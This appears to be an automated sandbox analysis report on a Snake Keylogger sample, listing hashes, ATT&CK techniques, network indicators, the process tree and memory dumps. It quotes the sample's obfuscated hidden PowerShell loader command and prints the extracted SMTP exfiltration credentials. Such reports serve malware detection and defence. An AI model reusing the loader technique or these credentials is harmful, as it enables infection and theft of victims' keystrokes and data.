snakekeylogger | eeb19ccec86a82f4ebbe4512ebadca5089bc192478a356a99824a89b1f122995

Analysis

max time kernel
95s
max time network
149s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
07-11-2024 14:21

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General

Target

eeb19ccec86a82f4ebbe4512ebadca5089bc192478a356a99824a89b1f122995.exe
Size

762KB
MD5

4398a15085a3837ef2ef6a7b056643c6
SHA1

d15e71d5e8e9b750d429c7602d98e7203c24543b
SHA256

eeb19ccec86a82f4ebbe4512ebadca5089bc192478a356a99824a89b1f122995
SHA512

34b5b0b7299c325a525675c8a0cc9e4cd6ce724866530bba7933c783c87d73f477297e8d865af6836926e5cf579292f4ce385f2c2c8ce89f916199d048a8dafe
SSDEEP

12288:8PG/hGy3E/kipG6IhwYz0BWIbyuwQL3OWntl81tTTZ/Oi5DwFyEionDud:QGhbYpGjhwYzO5yRQLvf81BV2m6ionDE

Score

10^/10

snakekeylogger discovery execution keylogger stealer

Malware Config

Extracted

Family

snakekeylogger

Credentials

Protocol: smtp
Host:
smtp.securemail.pro
Port:
587
Username:
[email protected]
Password:
jrpM0Y5k
Email To:
[email protected]

Signatures

Snake Keylogger
Keylogger and Infostealer first seen in November 2020.
stealer keylogger snakekeylogger

Snake Keylogger payload 2 IoCs

resource	yara_rule
behavioral2/memory/1664-91-0x0000000000F70000-0x00000000021C4000-memory.dmp	family_snakekeylogger
behavioral2/memory/1664-92-0x0000000000F70000-0x0000000000F96000-memory.dmp	family_snakekeylogger

Snakekeylogger family
snakekeylogger

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1444	powershell.exe

Blocklisted process makes network request 6 IoCs

flow	pid	Process
21	1664	msiexec.exe
23	1664	msiexec.exe
25	1664	msiexec.exe
27	1664	msiexec.exe
29	1664	msiexec.exe
43	1664	msiexec.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
20	drive.google.com
21	drive.google.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
42	checkip.dyndns.org

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\folkepensionsaldres\frostbiter.ini	eeb19ccec86a82f4ebbe4512ebadca5089bc192478a356a99824a89b1f122995.exe

Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

pid	Process
1664	msiexec.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
1444	powershell.exe
1664	msiexec.exe

Drops file in Windows directory 2 IoCs

description	ioc	Process
File created	C:\Windows\Levitters.lnk	eeb19ccec86a82f4ebbe4512ebadca5089bc192478a356a99824a89b1f122995.exe
File opened for modification	C:\Windows\Levitters.lnk	eeb19ccec86a82f4ebbe4512ebadca5089bc192478a356a99824a89b1f122995.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
2104	1664	WerFault.exe	97

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	eeb19ccec86a82f4ebbe4512ebadca5089bc192478a356a99824a89b1f122995.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Suspicious behavior: EnumeratesProcesses 10 IoCs

pid	Process
1444	powershell.exe
1444	powershell.exe
1444	powershell.exe
1444	powershell.exe
1444	powershell.exe
1444	powershell.exe
1444	powershell.exe
1444	powershell.exe
1444	powershell.exe
1664	msiexec.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
1444	powershell.exe

Suspicious use of AdjustPrivilegeToken 23 IoCs

description	pid	Process
Token: SeDebugPrivilege	1444	powershell.exe
Token: SeIncreaseQuotaPrivilege	1444	powershell.exe
Token: SeSecurityPrivilege	1444	powershell.exe
Token: SeTakeOwnershipPrivilege	1444	powershell.exe
Token: SeLoadDriverPrivilege	1444	powershell.exe
Token: SeSystemProfilePrivilege	1444	powershell.exe
Token: SeSystemtimePrivilege	1444	powershell.exe
Token: SeProfSingleProcessPrivilege	1444	powershell.exe
Token: SeIncBasePriorityPrivilege	1444	powershell.exe
Token: SeCreatePagefilePrivilege	1444	powershell.exe
Token: SeBackupPrivilege	1444	powershell.exe
Token: SeRestorePrivilege	1444	powershell.exe
Token: SeShutdownPrivilege	1444	powershell.exe
Token: SeDebugPrivilege	1444	powershell.exe
Token: SeSystemEnvironmentPrivilege	1444	powershell.exe
Token: SeRemoteShutdownPrivilege	1444	powershell.exe
Token: SeUndockPrivilege	1444	powershell.exe
Token: SeManageVolumePrivilege	1444	powershell.exe
Token: 33	1444	powershell.exe
Token: 34	1444	powershell.exe
Token: 35	1444	powershell.exe
Token: 36	1444	powershell.exe
Token: SeDebugPrivilege	1664	msiexec.exe

Suspicious use of WriteProcessMemory 7 IoCs

description	pid	Process	procid_target
PID 3216 wrote to memory of 1444	3216	eeb19ccec86a82f4ebbe4512ebadca5089bc192478a356a99824a89b1f122995.exe	85
PID 3216 wrote to memory of 1444	3216	eeb19ccec86a82f4ebbe4512ebadca5089bc192478a356a99824a89b1f122995.exe	85
PID 3216 wrote to memory of 1444	3216	eeb19ccec86a82f4ebbe4512ebadca5089bc192478a356a99824a89b1f122995.exe	85
PID 1444 wrote to memory of 1664	1444	powershell.exe	97
PID 1444 wrote to memory of 1664	1444	powershell.exe	97
PID 1444 wrote to memory of 1664	1444	powershell.exe	97
PID 1444 wrote to memory of 1664	1444	powershell.exe	97

C:\Users\Admin\AppData\Local\Temp\eeb19ccec86a82f4ebbe4512ebadca5089bc192478a356a99824a89b1f122995.exe
"C:\Users\Admin\AppData\Local\Temp\eeb19ccec86a82f4ebbe4512ebadca5089bc192478a356a99824a89b1f122995.exe"
1⤵
- Drops file in System32 directory
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3216
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden "$Notifiers73=Get-Content -raw 'C:\Users\Admin\AppData\Local\Temp\Stragglier\Citicorp.Amf';$Superscribing=$Notifiers73.SubString(53509,3);.$Superscribing($Notifiers73)"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1444
- - C:\Windows\SysWOW64\msiexec.exe
    "C:\Windows\SysWOW64\msiexec.exe"
    3⤵
    - Blocklisted process makes network request
    - Suspicious use of NtCreateThreadExHideFromDebugger
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1664
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 1664 -s 2380
      4⤵
      Program crash
      PID:2104

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 428 -p 1664 -ip 1664
1⤵
PID:3184

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\Stragglier\Citicorp.Amf

Filesize
52KB

MD5
50a86de35927f45ce009f37494068b0d

SHA1
880c888d5e156d7080395c964614872fe42ac89d

SHA256
ff7d67d9d4613f0716febf78a0e813953862c77bb5f084eebf881ac02809984b

SHA512
230f60733ee595111e91b0bb9c99a5a4c72b5ebfb1b77ff544b5aadeff5179fccfcd473fa8caa290798d6558f753663d21f966a6db9b2193d15e81adef6159d6

Download Submit
C:\Users\Admin\AppData\Local\Temp\Stragglier\Gudsbevis.Can

Filesize
303KB

MD5
9a6846335f888bd98b7a3439944f4861

SHA1
6a560953e0c1a73e0c7ad8b70787337fc77c44c9

SHA256
25d465d3c7065ed206fc060a68aafb67ca1c7458ab59aa027c4d5b3882ddd0e8

SHA512
9da8b9c39564b62250fb3db160ec4605deb7d384813953f3ecf63586f065704528e54d47d09fe7e962650112188e3b4fb7d5cf33f620d3ec84510bc94fef15ff

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_y0tqqnyq.ynp.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1444-14-0x0000000073F8E000-0x0000000073F8F000-memory.dmp

Filesize
4KB

Download
memory/1444-15-0x0000000003190000-0x00000000031C6000-memory.dmp

Filesize
216KB

Download
memory/1444-16-0x0000000005830000-0x0000000005E58000-memory.dmp

Filesize
6.2MB

Download
memory/1444-18-0x0000000073F80000-0x0000000074730000-memory.dmp

Filesize
7.7MB

Download
memory/1444-17-0x0000000073F80000-0x0000000074730000-memory.dmp

Filesize
7.7MB

Download
memory/1444-19-0x00000000057B0000-0x00000000057D2000-memory.dmp

Filesize
136KB

Download
memory/1444-20-0x0000000006090000-0x00000000060F6000-memory.dmp

Filesize
408KB

Download
memory/1444-21-0x0000000006100000-0x0000000006166000-memory.dmp

Filesize
408KB

Download
memory/1444-31-0x00000000061F0000-0x0000000006544000-memory.dmp

Filesize
3.3MB

Download
memory/1444-33-0x0000000006830000-0x000000000687C000-memory.dmp

Filesize
304KB

Download
memory/1444-32-0x0000000006810000-0x000000000682E000-memory.dmp

Filesize
120KB

Download
memory/1444-34-0x0000000006D70000-0x0000000006E06000-memory.dmp

Filesize
600KB

Download
memory/1444-36-0x0000000006E10000-0x0000000006E32000-memory.dmp

Filesize
136KB

Download
memory/1444-35-0x0000000006D10000-0x0000000006D2A000-memory.dmp

Filesize
104KB

Download
memory/1444-37-0x0000000007E50000-0x00000000083F4000-memory.dmp

Filesize
5.6MB

Download
memory/1444-39-0x0000000008A80000-0x00000000090FA000-memory.dmp

Filesize
6.5MB

Download
memory/1444-41-0x0000000070400000-0x000000007044C000-memory.dmp

Filesize
304KB

Download
memory/1444-40-0x0000000007C40000-0x0000000007C72000-memory.dmp

Filesize
200KB

Download
memory/1444-43-0x00000000707D0000-0x0000000070B24000-memory.dmp

Filesize
3.3MB

Download
memory/1444-53-0x0000000007C80000-0x0000000007C9E000-memory.dmp

Filesize
120KB

Download
memory/1444-42-0x0000000073F80000-0x0000000074730000-memory.dmp

Filesize
7.7MB

Download
memory/1444-54-0x0000000007CB0000-0x0000000007D53000-memory.dmp

Filesize
652KB

Download
memory/1444-55-0x0000000073F80000-0x0000000074730000-memory.dmp

Filesize
7.7MB

Download
memory/1444-56-0x0000000007DB0000-0x0000000007DBA000-memory.dmp

Filesize
40KB

Download
memory/1444-57-0x0000000007DF0000-0x0000000007E1A000-memory.dmp

Filesize
168KB

Download
memory/1444-59-0x0000000007E20000-0x0000000007E44000-memory.dmp

Filesize
144KB

Download
memory/1444-58-0x0000000073F80000-0x0000000074730000-memory.dmp

Filesize
7.7MB

Download
memory/1444-60-0x0000000073F80000-0x0000000074730000-memory.dmp

Filesize
7.7MB

Download
memory/1444-63-0x0000000073F80000-0x0000000074730000-memory.dmp

Filesize
7.7MB

Download
memory/1444-62-0x0000000073F8E000-0x0000000073F8F000-memory.dmp

Filesize
4KB

Download
memory/1444-64-0x0000000073F80000-0x0000000074730000-memory.dmp

Filesize
7.7MB

Download
memory/1444-66-0x0000000073F80000-0x0000000074730000-memory.dmp

Filesize
7.7MB

Download
memory/1444-67-0x0000000073F80000-0x0000000074730000-memory.dmp

Filesize
7.7MB

Download
memory/1444-69-0x0000000073F80000-0x0000000074730000-memory.dmp

Filesize
7.7MB

Download
memory/1444-68-0x0000000009100000-0x000000000A471000-memory.dmp

Filesize
19.4MB

Download
memory/1444-70-0x0000000073F80000-0x0000000074730000-memory.dmp

Filesize
7.7MB

Download
memory/1444-71-0x0000000073F80000-0x0000000074730000-memory.dmp

Filesize
7.7MB

Download
memory/1444-72-0x0000000073F80000-0x0000000074730000-memory.dmp

Filesize
7.7MB

Download
memory/1444-73-0x0000000073F80000-0x0000000074730000-memory.dmp

Filesize
7.7MB

Download
memory/1444-75-0x0000000073F80000-0x0000000074730000-memory.dmp

Filesize
7.7MB

Download
memory/1664-76-0x00000000021D0000-0x0000000003541000-memory.dmp

Filesize
19.4MB

Download
memory/1664-90-0x00000000021D0000-0x0000000003541000-memory.dmp

Filesize
19.4MB

Download
memory/1664-89-0x0000000000F70000-0x00000000021C4000-memory.dmp

Filesize
18.3MB

Download
memory/1664-91-0x0000000000F70000-0x00000000021C4000-memory.dmp

Filesize
18.3MB

Download
memory/1664-92-0x0000000000F70000-0x0000000000F96000-memory.dmp

Filesize
152KB

Download
memory/1664-93-0x0000000020CC0000-0x0000000020D5C000-memory.dmp

Filesize
624KB

Download
memory/1664-95-0x00000000021D0000-0x0000000003541000-memory.dmp

Filesize
19.4MB

Download